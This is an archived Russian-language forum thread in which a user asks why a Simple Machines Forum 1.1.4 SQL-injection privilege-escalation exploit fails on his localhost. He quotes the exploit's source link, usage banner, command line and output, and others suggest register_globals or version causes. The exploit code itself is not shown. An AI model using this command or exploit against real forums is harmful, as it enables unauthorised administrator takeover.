PDA

Просмотр полной версии : Нужна помощь по испльзованию эксплойта


Rashid
26.10.2008, 07:24
Эксплойт: http://www.milw0rm.com/exploits/5826
Запускаю:
# python ./smf.py localhost /smf/ i3sdq9d8v1pe4fr20r6qjnqcs5 2

#================================================= ================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#================================================= ================#

[.] Exploit Starts.
[+] Trying to read Sesc
[+] Sesc has been successfully read ==> 891439426d210d5c6e1d50cd68b54f0c
[+] Creating three labels...
[+] Sql code is going to be injected.
[+] All done.
Now user with ID_MEMBER 2 should have administrator rights.
-= Paradox Got This One =-

Насколько я правильно понимаю user with id=2 должен получить administrator rights, но этого не происходит.
Что я делаю не так???

swt1
26.10.2008, 11:34
перед использованием ты должен иметь права админа,потом юзай сплойт,включен ли register_globals on?)

Rashid
26.10.2008, 12:03
register_globals включен
перед использованием ты должен иметь права админа
А смысл тогда какой в таком сплойте? Иметь права админа чтобы получить права админа?

swt1
26.10.2008, 12:27
А смысл тогда какой в таком сплойте? Иметь права админа чтобы получить права админа?
верно не досмотрел)) тогда на сервере выключен регистр глобалс или стоит версия выше.

Rashid
26.10.2008, 12:34
верно не досмотрел)) тогда на сервере выключен регистр глобалс или стоит версия выше.
Я проверяю на localhost и весрия 1,1,4 и register_globals включен

Sleep
26.10.2008, 16:15
как ты его запускаеш???

Rashid
26.10.2008, 16:33
python ./smf.py localhost /smf/ i3sdq9d8v1pe4fr20r6qjnqcs5 2